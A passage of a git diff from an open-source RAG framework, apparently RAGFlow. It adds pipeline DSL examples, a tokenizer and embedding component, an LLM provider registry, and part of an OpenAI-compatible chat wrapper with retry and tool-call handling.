settings.init_settings() + pipeline = Pipeline(open(args.dsl, "r").read(), tenant_id=args.tenant_id, doc_id=args.doc_id, task_id="xxxx", flow_id="xxx") + pipeline.reset() + + exe = ThreadPoolExecutor(max_workers=5) + thr = exe.submit(print_logs, pipeline) + + # queue_dataflow(dsl=open(args.dsl, "r").read(), tenant_id=args.tenant_id, doc_id=args.doc_id, task_id="xxxx", flow_id="xxx", priority=0) + + trio.run(pipeline.run) + thr.result() diff --git a/rag/flow/tests/dsl_examples/general_pdf_all.json b/rag/flow/tests/dsl_examples/general_pdf_all.json new file mode 100644 index 0000000..40f796a --- /dev/null +++ b/rag/flow/tests/dsl_examples/general_pdf_all.json @@ -0,0 +1,139 @@ +{ + "components": { + "File": { + "obj":{ + "component_name": "File", + "params": { + } + }, + "downstream": ["Parser:0"], + "upstream": [] + }, + "Parser:0": { + "obj": { + "component_name": "Parser", + "params": { + "setups": { + "pdf": { + "parse_method": "deepdoc", + "vlm_name": "", + "lang": "Chinese", + "suffix": [ + "pdf" + ], + "output_format": "json" + }, + "spreadsheet": { + "suffix": [ + "xls", + "xlsx", + "csv" + ], + "output_format": "html" + }, + "word": { + "suffix": [ + "doc", + "docx" + ], + "output_format": "json" + }, + "slides": { + "parse_method": "presentation", + "suffix": [ + "pptx" + ], + "output_format": "json" + }, + "markdown": { + "suffix": [ + "md", + "markdown" + ], + "output_format": "json" + }, + "text": { + "suffix": ["txt"], + "output_format": "json" + }, + "image": { + "parse_method": "vlm", + "llm_id":"glm-4.5v", + "lang": "Chinese", + "suffix": [ + "jpg", + "jpeg", + "png", + "gif" + ], + "output_format": "text" + }, + "audio": { + "suffix": [ + "da", + "wave", + "wav", + "mp3", + "aac", + "flac", + "ogg", + "aiff", + "au", + "midi", + "wma", + "realaudio", + "vqf", + "oggvorbis", + "ape" + ], + "lang": "Chinese", + "llm_id": "SenseVoiceSmall", + "output_format": "json" + }, + "email": { + "suffix": [ + "msg" + ], + "fields": [ + "from", + "to", + "cc", + "bcc", + "date", + "subject", + "body", + "attachments" + ], + "output_format": "json" + } + } + } + }, + "downstream": ["Splitter:0"], + "upstream": ["Begin"] + }, + "Splitter:0": { + "obj": { + "component_name": "Splitter", + "params": { + "chunk_token_size": 512, + "delimiters": ["\n"], + "overlapped_percent": 0 + } + }, + "downstream": ["Tokenizer:0"], + "upstream": ["Parser:0"] + }, + "Tokenizer:0": { + "obj": { + "component_name": "Tokenizer", + "params": { + } + }, + "downstream": [], + "upstream": ["Chunker:0"] + } + }, + "path": [] +} + diff --git a/rag/flow/tests/dsl_examples/hierarchical_merger.json b/rag/flow/tests/dsl_examples/hierarchical_merger.json new file mode 100644 index 0000000..98df8a9 --- /dev/null +++ b/rag/flow/tests/dsl_examples/hierarchical_merger.json @@ -0,0 +1,84 @@ +{ + "components": { + "File": { + "obj":{ + "component_name": "File", + "params": { + } + }, + "downstream": ["Parser:0"], + "upstream": [] + }, + "Parser:0": { + "obj": { + "component_name": "Parser", + "params": { + "setups": { + "pdf": { + "parse_method": "deepdoc", + "vlm_name": "", + "lang": "Chinese", + "suffix": [ + "pdf" + ], + "output_format": "json" + }, + "spreadsheet": { + "suffix": [ + "xls", + "xlsx", + "csv" + ], + "output_format": "html" + }, + "word": { + "suffix": [ + "doc", + "docx" + ], + "output_format": "json" + }, + "markdown": { + "suffix": [ + "md", + "markdown" + ], + "output_format": "text" + }, + "text": { + "suffix": ["txt"], + "output_format": "json" + } + } + } + }, + "downstream": ["Splitter:0"], + "upstream": ["File"] + }, + "Splitter:0": { + "obj": { + "component_name": "Splitter", + "params": { + "chunk_token_size": 512, + "delimiters": ["\r\n"], + "overlapped_percent": 0 + } + }, + "downstream": ["HierarchicalMerger:0"], + "upstream": ["Parser:0"] + }, + "HierarchicalMerger:0": { + "obj": { + "component_name": "HierarchicalMerger", + "params": { + "levels": [["^#[^#]"], ["^##[^#]"], ["^###[^#]"], ["^####[^#]"]], + "hierarchy": 2 + } + }, + "downstream": [], + "upstream": ["Splitter:0"] + } + }, + "path": [] +} + diff --git a/rag/flow/tokenizer/__init__.py b/rag/flow/tokenizer/__init__.py new file mode 100644 index 0000000..e6ddad7 --- /dev/null +++ b/rag/flow/tokenizer/__init__.py @@ -0,0 +1,14 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. diff --git a/rag/flow/tokenizer/schema.py b/rag/flow/tokenizer/schema.py new file mode 100644 index 0000000..e74a582 --- /dev/null +++ b/rag/flow/tokenizer/schema.py @@ -0,0 +1,53 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +from typing import Any, Literal + +from pydantic import BaseModel, ConfigDict, Field, model_validator + + +class TokenizerFromUpstream(BaseModel): + created_time: float | None = Field(default=None, alias="_created_time") + elapsed_time: float | None = Field(default=None, alias="_elapsed_time") + + name: str = "" + file: dict | None = Field(default=None) + + output_format: Literal["json", "markdown", "text", "html", "chunks"] | None = Field(default=None) + + chunks: list[dict[str, Any]] | None = Field(default=None) + + json_result: list[dict[str, Any]] | None = Field(default=None, alias="json") + markdown_result: str | None = Field(default=None, alias="markdown") + text_result: str | None = Field(default=None, alias="text") + html_result: str | None = Field(default=None, alias="html") + + model_config = ConfigDict(populate_by_name=True, extra="forbid") + + @model_validator(mode="after") + def _check_payloads(self) -> "TokenizerFromUpstream": + if self.chunks: + return self + + if self.output_format in {"markdown", "text", "html"}: + if self.output_format == "markdown" and not self.markdown_result: + raise ValueError("output_format=markdown requires a markdown payload (field: 'markdown' or 'markdown_result').") + if self.output_format == "text" and not self.text_result: + raise ValueError("output_format=text requires a text payload (field: 'text' or 'text_result').") + if self.output_format == "html" and not self.html_result: + raise ValueError("output_format=text requires a html payload (field: 'html' or 'html_result').") + else: + if not self.json_result and not self.chunks: + raise ValueError("When no chunks are provided and output_format is not markdown/text, a JSON list payload is required (field: 'json' or 'json_result').") + return self diff --git a/rag/flow/tokenizer/tokenizer.py b/rag/flow/tokenizer/tokenizer.py new file mode 100644 index 0000000..425e203 --- /dev/null +++ b/rag/flow/tokenizer/tokenizer.py @@ -0,0 +1,176 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +import logging +import random +import re + +import numpy as np +import trio + +from api.db import LLMType +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.llm_service import LLMBundle +from api.db.services.user_service import TenantService +from api.utils.api_utils import timeout +from rag.flow.base import ProcessBase, ProcessParamBase +from rag.flow.tokenizer.schema import TokenizerFromUpstream +from rag.nlp import rag_tokenizer +from rag.settings import EMBEDDING_BATCH_SIZE +from rag.svr.task_executor import embed_limiter +from rag.utils import truncate + + +class TokenizerParam(ProcessParamBase): + def __init__(self): + super().__init__() + self.search_method = ["full_text", "embedding"] + self.filename_embd_weight = 0.1 + self.fields = ["text"] + + def check(self): + for v in self.search_method: + self.check_valid_value(v.lower(), "Chunk method abnormal.", ["full_text", "embedding"]) + + def get_input_form(self) -> dict[str, dict]: + return {} + + +class Tokenizer(ProcessBase): + component_name = "Tokenizer" + + async def _embedding(self, name, chunks): + parts = sum(["full_text" in self._param.search_method, "embedding" in self._param.search_method]) + token_count = 0 + if self._canvas._kb_id: + e, kb = KnowledgebaseService.get_by_id(self._canvas._kb_id) + embedding_id = kb.embd_id + else: + e, ten = TenantService.get_by_id(self._canvas._tenant_id) + embedding_id = ten.embd_id + embedding_model = LLMBundle(self._canvas._tenant_id, LLMType.EMBEDDING, llm_name=embedding_id) + texts = [] + for c in chunks: + txt = "" + for f in self._param.fields: + f = c.get(f) + if isinstance(f, str): + txt += f + elif isinstance(f, list): + txt += "\n".join(f) + texts.append(re.sub(r"]{0,12})?>", " ", txt)) + vts, c = embedding_model.encode([name]) + token_count += c + tts = np.concatenate([vts[0] for _ in range(len(texts))], axis=0) + + @timeout(60) + def batch_encode(txts): + nonlocal embedding_model + return embedding_model.encode([truncate(c, embedding_model.max_length - 10) for c in txts]) + + cnts_ = np.array([]) + for i in range(0, len(texts), EMBEDDING_BATCH_SIZE): + async with embed_limiter: + vts, c = await trio.to_thread.run_sync(lambda: batch_encode(texts[i : i + EMBEDDING_BATCH_SIZE])) + if len(cnts_) == 0: + cnts_ = vts + else: + cnts_ = np.concatenate((cnts_, vts), axis=0) + token_count += c + if i % 33 == 32: + self.callback(i * 1.0 / len(texts) / parts / EMBEDDING_BATCH_SIZE + 0.5 * (parts - 1)) + + cnts = cnts_ + title_w = float(self._param.filename_embd_weight) + vects = (title_w * tts + (1 - title_w) * cnts) if len(tts) == len(cnts) else cnts + + assert len(vects) == len(chunks) + for i, ck in enumerate(chunks): + v = vects[i].tolist() + ck["q_%d_vec" % len(v)] = v + return chunks, token_count + + async def _invoke(self, **kwargs): + try: + from_upstream = TokenizerFromUpstream.model_validate(kwargs) + except Exception as e: + self.set_output("_ERROR", f"Input error: {str(e)}") + return + + self.set_output("output_format", "chunks") + parts = sum(["full_text" in self._param.search_method, "embedding" in self._param.search_method]) + if "full_text" in self._param.search_method: + self.callback(random.randint(1, 5) / 100.0, "Start to tokenize.") + if from_upstream.chunks: + chunks = from_upstream.chunks + for i, ck in enumerate(chunks): + ck["title_tks"] = rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", from_upstream.name)) + ck["title_sm_tks"] = rag_tokenizer.fine_grained_tokenize(ck["title_tks"]) + if ck.get("questions"): + ck["question_kwd"] = ck["questions"].split("\n") + ck["question_tks"] = rag_tokenizer.tokenize(str(ck["questions"])) + if ck.get("keywords"): + ck["important_kwd"] = ck["keywords"].split(",") + ck["important_tks"] = rag_tokenizer.tokenize(str(ck["keywords"])) + if ck.get("summary"): + ck["content_ltks"] = rag_tokenizer.tokenize(str(ck["summary"])) + ck["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(ck["content_ltks"]) + else: + ck["content_ltks"] = rag_tokenizer.tokenize(ck["text"]) + ck["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(ck["content_ltks"]) + if i % 100 == 99: + self.callback(i * 1.0 / len(chunks) / parts) + + elif from_upstream.output_format in ["markdown", "text", "html"]: + if from_upstream.output_format == "markdown": + payload = from_upstream.markdown_result + elif from_upstream.output_format == "text": + payload = from_upstream.text_result + else: + payload = from_upstream.html_result + + if not payload: + return "" + + ck = {"text": payload} + if "full_text" in self._param.search_method: + ck["title_tks"] = rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", from_upstream.name)) + ck["title_sm_tks"] = rag_tokenizer.fine_grained_tokenize(ck["title_tks"]) + ck["content_ltks"] = rag_tokenizer.tokenize(payload) + ck["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(ck["content_ltks"]) + chunks = [ck] + else: + chunks = from_upstream.json_result + for i, ck in enumerate(chunks): + ck["title_tks"] = rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", from_upstream.name)) + ck["title_sm_tks"] = rag_tokenizer.fine_grained_tokenize(ck["title_tks"]) + ck["content_ltks"] = rag_tokenizer.tokenize(ck["text"]) + ck["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(ck["content_ltks"]) + if i % 100 == 99: + self.callback(i * 1.0 / len(chunks) / parts) + + self.callback(1.0 / parts, "Finish tokenizing.") + + if "embedding" in self._param.search_method: + self.callback(random.randint(1, 5) / 100.0 + 0.5 * (parts - 1), "Start embedding inference.") + + if from_upstream.name.strip() == "": + logging.warning("Tokenizer: empty name provided from upstream, embedding may be not accurate.") + + chunks, token_count = await self._embedding(from_upstream.name, chunks) + self.set_output("embedding_token_consumption", token_count) + + self.callback(1.0, "Finish embedding.") + + self.set_output("chunks", chunks) diff --git a/rag/llm/__init__.py b/rag/llm/__init__.py new file mode 100644 index 0000000..8b6d40f --- /dev/null +++ b/rag/llm/__init__.py @@ -0,0 +1,160 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# AFTER UPDATING THIS FILE, PLEASE ENSURE THAT docs/references/supported_models.mdx IS ALSO UPDATED for consistency! +# + +import importlib +import inspect + +from strenum import StrEnum + + +class SupportedLiteLLMProvider(StrEnum): + Tongyi_Qianwen = "Tongyi-Qianwen" + Dashscope = "Dashscope" + Bedrock = "Bedrock" + Moonshot = "Moonshot" + xAI = "xAI" + DeepInfra = "DeepInfra" + Groq = "Groq" + Cohere = "Cohere" + Gemini = "Gemini" + DeepSeek = "DeepSeek" + Nvidia = "NVIDIA" + TogetherAI = "TogetherAI" + Anthropic = "Anthropic" + Ollama = "Ollama" + Meituan = "Meituan" + CometAPI = "CometAPI" + SILICONFLOW = "SILICONFLOW" + OpenRouter = "OpenRouter" + StepFun = "StepFun" + PPIO = "PPIO" + PerfXCloud = "PerfXCloud" + Upstage = "Upstage" + NovitaAI = "NovitaAI" + Lingyi_AI = "01.AI" + GiteeAI = "GiteeAI" + AI_302 = "302.AI" + + +FACTORY_DEFAULT_BASE_URL = { + SupportedLiteLLMProvider.Tongyi_Qianwen: "https://dashscope.aliyuncs.com/compatible-mode/v1", + SupportedLiteLLMProvider.Dashscope: "https://dashscope.aliyuncs.com/compatible-mode/v1", + SupportedLiteLLMProvider.Moonshot: "https://api.moonshot.cn/v1", + SupportedLiteLLMProvider.Ollama: "", + SupportedLiteLLMProvider.Meituan: "https://api.longcat.chat/openai", + SupportedLiteLLMProvider.CometAPI: "https://api.cometapi.com/v1", + SupportedLiteLLMProvider.SILICONFLOW: "https://api.siliconflow.cn/v1", + SupportedLiteLLMProvider.OpenRouter: "https://openrouter.ai/api/v1", + SupportedLiteLLMProvider.StepFun: "https://api.stepfun.com/v1", + SupportedLiteLLMProvider.PPIO: "https://api.ppinfra.com/v3/openai", + SupportedLiteLLMProvider.PerfXCloud: "https://cloud.perfxlab.cn/v1", + SupportedLiteLLMProvider.Upstage: "https://api.upstage.ai/v1/solar", + SupportedLiteLLMProvider.NovitaAI: "https://api.novita.ai/v3/openai", + SupportedLiteLLMProvider.Lingyi_AI: "https://api.lingyiwanwu.com/v1", + SupportedLiteLLMProvider.GiteeAI: "https://ai.gitee.com/v1/", + SupportedLiteLLMProvider.AI_302: "https://api.302.ai/v1", + SupportedLiteLLMProvider.Anthropic: "https://api.anthropic.com/", +} + + +LITELLM_PROVIDER_PREFIX = { + SupportedLiteLLMProvider.Tongyi_Qianwen: "dashscope/", + SupportedLiteLLMProvider.Dashscope: "dashscope/", + SupportedLiteLLMProvider.Bedrock: "bedrock/", + SupportedLiteLLMProvider.Moonshot: "moonshot/", + SupportedLiteLLMProvider.xAI: "xai/", + SupportedLiteLLMProvider.DeepInfra: "deepinfra/", + SupportedLiteLLMProvider.Groq: "groq/", + SupportedLiteLLMProvider.Cohere: "", # don't need a prefix + SupportedLiteLLMProvider.Gemini: "gemini/", + SupportedLiteLLMProvider.DeepSeek: "deepseek/", + SupportedLiteLLMProvider.Nvidia: "nvidia_nim/", + SupportedLiteLLMProvider.TogetherAI: "together_ai/", + SupportedLiteLLMProvider.Anthropic: "", # don't need a prefix + SupportedLiteLLMProvider.Ollama: "ollama_chat/", + SupportedLiteLLMProvider.Meituan: "openai/", + SupportedLiteLLMProvider.CometAPI: "openai/", + SupportedLiteLLMProvider.SILICONFLOW: "openai/", + SupportedLiteLLMProvider.OpenRouter: "openai/", + SupportedLiteLLMProvider.StepFun: "openai/", + SupportedLiteLLMProvider.PPIO: "openai/", + SupportedLiteLLMProvider.PerfXCloud: "openai/", + SupportedLiteLLMProvider.Upstage: "openai/", + SupportedLiteLLMProvider.NovitaAI: "openai/", + SupportedLiteLLMProvider.Lingyi_AI: "openai/", + SupportedLiteLLMProvider.GiteeAI: "openai/", + SupportedLiteLLMProvider.AI_302: "openai/", +} + +ChatModel = globals().get("ChatModel", {}) +CvModel = globals().get("CvModel", {}) +EmbeddingModel = globals().get("EmbeddingModel", {}) +RerankModel = globals().get("RerankModel", {}) +Seq2txtModel = globals().get("Seq2txtModel", {}) +TTSModel = globals().get("TTSModel", {}) + + +MODULE_MAPPING = { + "chat_model": ChatModel, + "cv_model": CvModel, + "embedding_model": EmbeddingModel, + "rerank_model": RerankModel, + "sequence2txt_model": Seq2txtModel, + "tts_model": TTSModel, +} + +package_name = __name__ + +for module_name, mapping_dict in MODULE_MAPPING.items(): + full_module_name = f"{package_name}.{module_name}" + module = importlib.import_module(full_module_name) + + base_class = None + lite_llm_base_class = None + for name, obj in inspect.getmembers(module): + if inspect.isclass(obj): + if name == "Base": + base_class = obj + elif name == "LiteLLMBase": + lite_llm_base_class = obj + assert hasattr(obj, "_FACTORY_NAME"), "LiteLLMbase should have _FACTORY_NAME field." + if hasattr(obj, "_FACTORY_NAME"): + if isinstance(obj._FACTORY_NAME, list): + for factory_name in obj._FACTORY_NAME: + mapping_dict[factory_name] = obj + else: + mapping_dict[obj._FACTORY_NAME] = obj + + if base_class is not None: + for _, obj in inspect.getmembers(module): + if inspect.isclass(obj) and issubclass(obj, base_class) and obj is not base_class and hasattr(obj, "_FACTORY_NAME"): + if isinstance(obj._FACTORY_NAME, list): + for factory_name in obj._FACTORY_NAME: + mapping_dict[factory_name] = obj + else: + mapping_dict[obj._FACTORY_NAME] = obj + + +__all__ = [ + "ChatModel", + "CvModel", + "EmbeddingModel", + "RerankModel", + "Seq2txtModel", + "TTSModel", +] diff --git a/rag/llm/chat_model.py b/rag/llm/chat_model.py new file mode 100644 index 0000000..81e1a34 --- /dev/null +++ b/rag/llm/chat_model.py @@ -0,0 +1,1817 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import asyncio +import json +import logging +import os +import random +import re +import time +from abc import ABC +from copy import deepcopy +from typing import Any, Protocol +from urllib.parse import urljoin + +import json_repair +import litellm +import openai +import requests +from openai import OpenAI +from openai.lib.azure import AzureOpenAI +from strenum import StrEnum +from zhipuai import ZhipuAI + +from rag.llm import FACTORY_DEFAULT_BASE_URL, LITELLM_PROVIDER_PREFIX, SupportedLiteLLMProvider +from rag.nlp import is_chinese, is_english +from rag.utils import num_tokens_from_string, total_token_count_from_response + + +# Error message constants +class LLMErrorCode(StrEnum): + ERROR_RATE_LIMIT = "RATE_LIMIT_EXCEEDED" + ERROR_AUTHENTICATION = "AUTH_ERROR" + ERROR_INVALID_REQUEST = "INVALID_REQUEST" + ERROR_SERVER = "SERVER_ERROR" + ERROR_TIMEOUT = "TIMEOUT" + ERROR_CONNECTION = "CONNECTION_ERROR" + ERROR_MODEL = "MODEL_ERROR" + ERROR_MAX_ROUNDS = "ERROR_MAX_ROUNDS" + ERROR_CONTENT_FILTER = "CONTENT_FILTERED" + ERROR_QUOTA = "QUOTA_EXCEEDED" + ERROR_MAX_RETRIES = "MAX_RETRIES_EXCEEDED" + ERROR_GENERIC = "GENERIC_ERROR" + + +class ReActMode(StrEnum): + FUNCTION_CALL = "function_call" + REACT = "react" + + +ERROR_PREFIX = "**ERROR**" +LENGTH_NOTIFICATION_CN = "······\n由于大模型的上下文窗口大小限制，回答已经被大模型截断。" +LENGTH_NOTIFICATION_EN = "...\nThe answer is truncated by your chosen LLM due to its limitation on context length." + + +class ToolCallSession(Protocol): + def tool_call(self, name: str, arguments: dict[str, Any]) -> str: ... + + +class Base(ABC): + def __init__(self, key, model_name, base_url, **kwargs): + timeout = int(os.environ.get("LM_TIMEOUT_SECONDS", 600)) + self.client = OpenAI(api_key=key, base_url=base_url, timeout=timeout) + self.model_name = model_name + # Configure retry parameters + self.max_retries = kwargs.get("max_retries", int(os.environ.get("LLM_MAX_RETRIES", 5))) + self.base_delay = kwargs.get("retry_interval", float(os.environ.get("LLM_BASE_DELAY", 2.0))) + self.max_rounds = kwargs.get("max_rounds", 5) + self.is_tools = False + self.tools = [] + self.toolcall_sessions = {} + + def _get_delay(self): + """Calculate retry delay time""" + return self.base_delay * random.uniform(10, 150) + + def _classify_error(self, error): + """Classify error based on error message content""" + error_str = str(error).lower() + + keywords_mapping = [ + (["quota", "capacity", "credit", "billing", "balance", "欠费"], LLMErrorCode.ERROR_QUOTA), + (["rate limit", "429", "tpm limit", "too many requests", "requests per minute"], LLMErrorCode.ERROR_RATE_LIMIT), + (["auth", "key", "apikey", "401", "forbidden", "permission"], LLMErrorCode.ERROR_AUTHENTICATION), + (["invalid", "bad request", "400", "format", "malformed", "parameter"], LLMErrorCode.ERROR_INVALID_REQUEST), + (["server", "503", "502", "504", "500", "unavailable"], LLMErrorCode.ERROR_SERVER), + (["timeout", "timed out"], LLMErrorCode.ERROR_TIMEOUT), + (["connect", "network", "unreachable", "dns"], LLMErrorCode.ERROR_CONNECTION), + (["filter", "content", "policy", "blocked", "safety", "inappropriate"], LLMErrorCode.ERROR_CONTENT_FILTER), + (["model", "not found", "does not exist", "not available"], LLMErrorCode.ERROR_MODEL), + (["max rounds"], LLMErrorCode.ERROR_MODEL), + ] + for words, code in keywords_mapping: + if re.search("({})".format("|".join(words)), error_str): + return code + + return LLMErrorCode.ERROR_GENERIC + + def _clean_conf(self, gen_conf): + if "max_tokens" in gen_conf: + del gen_conf["max_tokens"] + + allowed_conf = { + "temperature", + "max_completion_tokens", + "top_p", + "stream", + "stream_options", + "stop", + "n", + "presence_penalty", + "frequency_penalty", + "functions", + "function_call", + "logit_bias", + "user", + "response_format", + "seed", + "tools", + "tool_choice", + "logprobs", + "top_logprobs", + "extra_headers", + "enable_thinking" + } + + gen_conf = {k: v for k, v in gen_conf.items() if k in allowed_conf} + + return gen_conf + + def _chat(self, history, gen_conf, **kwargs): + logging.info("[HISTORY]" + json.dumps(history, ensure_ascii=False, indent=2)) + if self.model_name.lower().find("qwen3") >= 0: + kwargs["extra_body"] = {"enable_thinking": False} + + response = self.client.chat.completions.create(model=self.model_name, messages=history, **gen_conf, **kwargs) + + if not response.choices or not response.choices[0].message or not response.choices[0].message.content: + return "", 0 + ans = response.choices[0].message.content.strip() + if response.choices[0].finish_reason == "length": + ans = self._length_stop(ans) + return ans, self.total_token_count(response) + + def _chat_streamly(self, history, gen_conf, **kwargs): + logging.info("[HISTORY STREAMLY]" + json.dumps(history, ensure_ascii=False, indent=4)) + reasoning_start = False + + if kwargs.get("stop") or "stop" in gen_conf: + response = self.client.chat.completions.create(model=self.model_name, messages=history, stream=True, **gen_conf, stop=kwargs.get("stop")) + else: + response = self.client.chat.completions.create(model=self.model_name, messages=history, stream=True, **gen_conf) + + for resp in response: + if not resp.choices: + continue + if not resp.choices[0].delta.content: + resp.choices[0].delta.content = "" + if kwargs.get("with_reasoning", True) and hasattr(resp.choices[0].delta, "reasoning_content") and resp.choices[0].delta.reasoning_content: + ans = "" + if not reasoning_start: + reasoning_start = True + ans = "" + ans += resp.choices[0].delta.reasoning_content + "" + else: + reasoning_start = False + ans = resp.choices[0].delta.content + + tol = self.total_token_count(resp) + if not tol: + tol = num_tokens_from_string(resp.choices[0].delta.content) + + if resp.choices[0].finish_reason == "length": + if is_chinese(ans): + ans += LENGTH_NOTIFICATION_CN + else: + ans += LENGTH_NOTIFICATION_EN + yield ans, tol + + def _length_stop(self, ans): + if is_chinese([ans]): + return ans + LENGTH_NOTIFICATION_CN + return ans + LENGTH_NOTIFICATION_EN + + @property + def _retryable_errors(self) -> set[str]: + return { + LLMErrorCode.ERROR_RATE_LIMIT, + LLMErrorCode.ERROR_SERVER, + } + + def _should_retry(self, error_code: str) -> bool: + return error_code in self._retryable_errors + + def _exceptions(self, e, attempt) -> str | None: + logging.exception("OpenAI chat_with_tools") + # Classify the error + error_code = self._classify_error(e) + if attempt == self.max_retries: + error_code = LLMErrorCode.ERROR_MAX_RETRIES + + if self._should_retry(error_code): + delay = self._get_delay() + logging.warning(f"Error: {error_code}. Retrying in {delay:.2f} seconds... (Attempt {attempt + 1}/{self.max_retries})") + time.sleep(delay) + return None + + return f"{ERROR_PREFIX}: {error_code} - {str(e)}" + + def _verbose_tool_use(self, name, args, res): + return "" + json.dumps({"name": name, "args": args, "result": res}, ensure_ascii=False, indent=2) + "" + + def _append_history(self, hist, tool_call, tool_res): + hist.append( + { + "role": "assistant", + "tool_calls": [ + { + "index": tool_call.index, + "id": tool_call.id, + "function": { + "name": tool_call.function.name, + "arguments": tool_call.function.arguments, + }, + "type": "function", + }, + ], + } + ) + try: + if isinstance(tool_res, dict): + tool_res = json.dumps(tool_res, ensure_ascii=False) + finally: + hist.append({"role": "tool", "tool_call_id": tool_call.id, "content": str(tool_res)}) + return hist + + def bind_tools(self, toolcall_session, tools): + if not (toolcall_session and tools): + return + self.is_tools = True + self.toolcall_session = toolcall_session + self.tools = tools + + def chat_with_tools(self, system: str, history: list, gen_conf: dict = {}): + gen_conf = self._clean_conf(gen_conf) + if system and history and history[0].get("role") != "system": + history.insert(0, {"role": "system", "content": system}) + + ans = "" + tk_count = 0 + hist = deepcopy(history) + # Implement exponential backoff retry strategy + for attempt in range(self.max_retries + 1): + history = hist + try: + for _ in range(self.max_rounds + 1): + logging.info(f"{self.tools=}") + response = self.client.chat.completions.create(model=self.model_name, messages=history, tools=self.tools, tool_choice="auto", **gen_conf) + tk_count += self.total_token_count(response) + if any([not response.choices, not response.choices[0].message]): + raise Exception(f"500 response structure error. Response: {response}") + + if not hasattr(response.choices[0].message, "tool_calls") or not response.choices[0].message.tool_calls: + if hasattr(response.choices[0].message, "reasoning_content") and response.choices[0].message.reasoning_content: + ans += "" + response.choices[0].message.reasoning_content + "" + + ans += response.choices[0].message.content + if response.choices[0].finish_reason == "length": + ans = self._length_stop(ans) + + return ans, tk_count + + for tool_call in response.choices[0].message.tool_calls: + logging.info(f"Response {tool_call=}") + name = tool_call.function.name + try: + args = json_repair.loads(tool_call.function.arguments) + tool_response = self.toolcall_session.tool_call(name, args) + history = self._append_history(history, tool_call, tool_response) + ans += self._verbose_tool_use(name, args, tool_response) + except Exception as e: + logging.exception(msg=f"Wrong JSON argument format in LLM tool call response: {tool_call}") + history.append({"role": "tool", "tool_call_id": tool_call.id, "content": f"Tool call error: \n{tool_call}\nException:\n" + str(e)}) + ans += self._verbose_tool_use(name, {}, str(e)) + + logging.warning(f"Exceed max rounds: {self.max_rounds}") + history.append({"role": "user", "content": f"Exceed max rounds: {self.max_rounds}"}) + response, token_count = self._chat(history, gen_conf) + ans += response + tk_count += token_count + return ans, tk_count + except Exception as e: + e = self._exceptions(e, attempt) + if e: + return e, tk_count + + assert False, "Shouldn't be here." + + def chat(self, system, history, gen_conf={}, **kwargs): + if system and history and history[0].get("role") != "system": + history.insert(0, {"role": "system", "content": system}) + gen_conf = self._clean_conf(gen_conf) + + # Implement exponential backoff retry strategy + for attempt in range(self.max_retries + 1): + try: + return self._chat(history, gen_conf, **kwargs) + except Exception as e: + e = self._exceptions(e, attempt) + if e: + return e, 0 + assert False, "Shouldn't be here." + + def _wrap_toolcall_message(self, stream): + final_tool_calls = {} + + for chunk in stream: + for tool_call in chunk.choices[0].delta.tool_calls or []: + index = tool_call.index + + if index not in final_tool_calls: + final_tool_calls[index] = tool_call + + final_tool_calls[index].function.arguments += tool_call.function.arguments + + return final_tool_calls + + def chat_streamly_with_tools(self, system: str, history: list, gen_conf: dict = {}): + gen_conf = self._clean_conf(gen_conf) + tools = self.tools + if system and history and history[0].get("role") != "system": + history.insert(0, {"role": "system", "content": system}) + + total_tokens = 0 + hist = deepcopy(history) + # Implement exponential backoff retry strategy + for attempt in range(self.max_retries + 1): + history = hist + try: + for _ in range(self.max_rounds + 1): + reasoning_start = False + logging.info(f"{tools=}") + response = self.client.chat.completions.create(model=self.model_name, messages=history, stream=True, tools=tools, tool_choice="auto", **gen_conf) + final_tool_calls = {} + answer = "" + for resp in response: + if resp.choices[0].delta.tool_calls: + for tool_call in resp.choices[0].delta.tool_calls or []: + index = tool_call.index + + if index not in final_tool_calls: + if not tool_call.function.arguments: + tool_call.function.arguments = "" + final_tool_calls[index] = tool_call + else: + final_tool_calls[index].function.arguments += 